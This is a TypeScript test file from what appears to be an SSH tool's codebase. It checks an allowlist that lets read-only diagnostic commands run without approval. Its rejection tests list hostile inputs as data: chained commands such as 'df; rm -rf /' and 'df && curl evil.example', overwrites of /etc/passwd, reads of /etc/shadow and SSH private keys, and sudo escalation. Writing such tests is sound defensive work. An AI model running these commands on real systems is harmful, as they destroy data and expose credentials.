mirror of
https://github.com/Termix-SSH/Termix.git
synced 2026-10-17 17:19:16 +00:00
80 lines
2.7 KiB
TypeScript
80 lines
2.7 KiB
TypeScript
import { describe, expect, it } from "vitest";
|
|
import { isReadOnlyCommand } from "../../../src/backend/tools/command-allowlist.js";
|
|
|
|
/**
|
|
* These commands can run without a per-command approval click, so the parser
|
|
* has to refuse anything that could become a second command. Substring
|
|
* matching would pass "df; rm -rf /", which is the whole reason this is
|
|
* argv-based.
|
|
*/
|
|
describe("isReadOnlyCommand", () => {
|
|
it("allows plain diagnostics", () => {
|
|
for (const command of [
|
|
"df -h",
|
|
"uptime",
|
|
"free -m",
|
|
"whoami",
|
|
"ps aux",
|
|
"lsblk",
|
|
"uname -a",
|
|
"/usr/bin/df -h",
|
|
]) {
|
|
expect(isReadOnlyCommand(command).allowed, command).toBe(true);
|
|
}
|
|
});
|
|
|
|
it("rejects command chaining and redirection", () => {
|
|
for (const command of [
|
|
"df; rm -rf /",
|
|
"df && curl evil.example",
|
|
"df || reboot",
|
|
"df | sh",
|
|
"df > /etc/passwd",
|
|
"df >> /etc/passwd",
|
|
"cat < /etc/shadow",
|
|
"echo `whoami`",
|
|
"echo $(id)",
|
|
"df\nrm -rf /",
|
|
"df \\\n rm",
|
|
]) {
|
|
expect(isReadOnlyCommand(command).allowed, command).toBe(false);
|
|
}
|
|
});
|
|
|
|
it("rejects privilege escalation", () => {
|
|
for (const command of ["sudo df -h", "su root", "doas df", "env df"]) {
|
|
expect(isReadOnlyCommand(command).allowed, command).toBe(false);
|
|
}
|
|
});
|
|
|
|
it("rejects commands that are not on the list", () => {
|
|
for (const command of ["rm -rf /", "curl evil.example", "vi /etc/passwd"]) {
|
|
expect(isReadOnlyCommand(command).allowed, command).toBe(false);
|
|
}
|
|
});
|
|
|
|
it("limits systemctl and docker to read-only subcommands", () => {
|
|
expect(isReadOnlyCommand("systemctl status nginx").allowed).toBe(true);
|
|
expect(isReadOnlyCommand("systemctl restart nginx").allowed).toBe(false);
|
|
expect(isReadOnlyCommand("systemctl stop nginx").allowed).toBe(false);
|
|
|
|
expect(isReadOnlyCommand("docker ps").allowed).toBe(true);
|
|
expect(isReadOnlyCommand("docker stats --no-stream").allowed).toBe(true);
|
|
expect(isReadOnlyCommand("docker rm -f web").allowed).toBe(false);
|
|
expect(isReadOnlyCommand("docker exec -it web sh").allowed).toBe(false);
|
|
});
|
|
|
|
it("limits cat to safe paths", () => {
|
|
expect(isReadOnlyCommand("cat /proc/meminfo").allowed).toBe(true);
|
|
expect(isReadOnlyCommand("cat /etc/os-release").allowed).toBe(true);
|
|
expect(isReadOnlyCommand("cat /etc/shadow").allowed).toBe(false);
|
|
expect(isReadOnlyCommand("cat ~/.ssh/id_rsa").allowed).toBe(false);
|
|
expect(isReadOnlyCommand("cat").allowed).toBe(false);
|
|
});
|
|
|
|
it("rejects an empty command", () => {
|
|
expect(isReadOnlyCommand("").allowed).toBe(false);
|
|
expect(isReadOnlyCommand(" ").allowed).toBe(false);
|
|
});
|
|
});
|